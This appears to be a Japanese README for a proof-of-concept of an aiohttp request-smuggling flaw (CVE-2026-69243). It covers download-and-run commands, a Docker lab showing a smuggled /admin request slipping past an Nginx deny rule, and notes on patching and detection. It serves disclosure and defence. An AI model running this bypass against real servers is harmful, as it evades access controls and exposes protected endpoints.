
aiohttp < 3.14.2 で拒否された WebSocket アップグレードを介したリクエストスマグリング。
リバースプロキシが Connection: Upgrade + Upgrade: websocket ヘッダーを転送すると、脆弱な aiohttp パーサーはリクエストボディをスキップし、後続のバイトをパイプライン化されたリクエストとして解釈します — エッジのアクセス制御をバイパスします。
aiohttp 3.14.2 で修正済み (コミット 6ae358f)。
作者: João Victor Botelho (JV Botelho) — https://glitchedcat.com
Python 版をコピペして実行 (依存関係ゼロ、標準ライブラリのみ):
curl -O https://raw.githubusercontent.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling/main/poc.py
python3 poc.py <proxy-host> <proxy-port> <backend-host>
または Rust 版をビルド (依存関係ゼロ、標準ライブラリのみ):
git clone https://github.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling
cd cve-2026-69243-poc-aiohttp-smuggling/poc
cargo build --release
./target/release/cve-2026-69243-poc <proxy-host> <proxy-port> <backend-host>
プリビルド済みバイナリは、リリースワークフローを介して リリース に公開されます。
どちらも バイト単位で同一 のペイロードを生成します (CI パリティテストで強制)。 ラボが実行中の場合は:
python3 poc.py nginx-upgrade 80 backend-vuln
期待される出力: 1 つの HTTP レスポンス (WebSocket upgrade rejected)。その後、以下を確認:
# Backend processed 2 requests (/ws + smuggled /admin):
docker logs backend-vuln | grep -c '"path".*"/admin"'
# Nginx only logged 1 request (the /ws):
docker exec nginx-upgrade cat /logs/nginx-upgrade.access.log | grep -c '/admin'
バックエンドのカウントが > 0 かつ Nginx のカウントが 0 であれば、CWE-444 の分割が確認されます。この PoC は単一の TCP セグメントを送信します — ボディがスマグリングされたリクエストであり、Nginx はそれをボディとして扱い、aiohttp はそれを 2 番目のリクエストとして扱います。
_http_parser.pyx は、ボディが消費される前にアップグレード検出で 2 (ボディスキップ) を返します (ライン ~863)。ボディのバイトは _message_tail に残り、web_protocol.py の finish_response (ライン ~771) でパーサーに再投入されます。location /admin { deny all; } がある場合でも、Nginx のルーティング決定は外側のリクエストのみに基づいて行われるため、スマグリングされた /admin はバックエンドに到達します。await request.read() が 0 バイトを返します — ボディはハンドラーレイヤーの下で保留されます。パッチを適用するか、プロトコルを切り替えてはならないルートではプロキシでアップグレードヘッダーを除去してください。git clone https://github.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling
cd cve-2026-69243-poc-aiohttp-smuggling
docker compose up -d
# Run the PoC:
docker compose run --rm --entrypoint /app/poc attacker nginx-upgrade 80 backend-vuln
サービス:
フェーズ 1〜3 の完全な調査結果は findings/ にあります。
Connection: close を送信する、または Connection/Upgrade ヘッダーを除去する Nginx 設定は脆弱ではありません。分割を露出させる設定は、Nginx 自身のプロキシングドキュメントにある標準的な WebSocket の map スニペットです。/ws レスポンスのみを受け取ります。スマグリングの証拠は攻撃者のレスポンスではなくバックエンドのログにあります — このトポロジーではブラインドな一方向プリミティブです。他のプロキシトポロジーはテストしていません。Transfer-Encoding: chunked はスマグリングしません — 生のチャンクサイズ行 (例: 3e) が不正なメソッドとしてパーサーにヒットし、接続が切断されます。Nginx を経由すると機能しますが、正規化によるものです: Nginx はボディをデチャンクし、合成された Content-Length を転送するため、バックエンドは同じ CL 経路で悪用されます。--chunked フラグはプロキシ経路を実証します。WebSocketResponse を返す必要があります。ルートで WebSocket を使用しないほとんどのアプリはデフォルトで拒否します (フレームワークが 404 を返すか、次のハンドラーにフォールスルーします)。poc/ # Rust cargo project
├── Cargo.toml
├── src/main.rs # CLI binary
├── src/lib.rs # Library + unit tests
├── tests/parity.rs # Cross-language payload parity test
└── fuzz/ # cargo-fuzz targets
poc.py # Python PoC (copy-paste from blog)
attacker/ backend/ frontend/ # Docker lab services
docker-compose.yml # 7-service lab
findings/ # Research notes (Phase 1-3)
.github/workflows/
├── ci.yml # Build, test, clippy, parity, integration, fuzz
└── release.yml # Cross-compile + GitHub Release
完全な分析については findings/fase3-deteccao.md を参照してください。本番環境で重要となる注意点を含む概要:
X-Forwarded-For/プロキシプロトコルの正規化、またはアップストリーム接続 ID + 接続ごとのリクエストシーケンスのログ記録が必要です。クライアント IP + 時間帯だけでは弱い (NAT、キープアライブ、並行処理)。content_length と request.read() からのバイト数): 3.14.1 では発火し、3.14.2 では静か。検出はしますが、緩和はしません。スコープを絞ってください (アップグレード候補のルート、小さなボディ、非 101 ステータス) — 単純なバージョンはすべてのボディをメモリにバッファリングします。reqlen がヘッダーベースラインを超える — 単独では信頼性が低い (クッキー/JWT/トレーシングヘッダーがノイズになります) が、クライアントが Content-Length を送信しない場合 (チャンク化されたイングレス) の唯一のエッジ信号です。| Container | 用途 |
|---|
backend-vuln | aiohttp 3.14.1 (脆弱), READ_BODY=false |
backend-vuln-read | aiohttp 3.14.1, READ_BODY=true (ハンドラーでは助けられないことを実証) |
backend-patched | aiohttp 3.14.2 (修正済み) |
nginx-upgrade | アップグレードヘッダーを転送 (/admin で deny all) |
nginx-default | アップグレード転送なし (バグを中和) |
nginx-strip | Connection "" ストリップ (バグを中和) |
attacker | Rust バイナリ: reproduce, fase2, poc |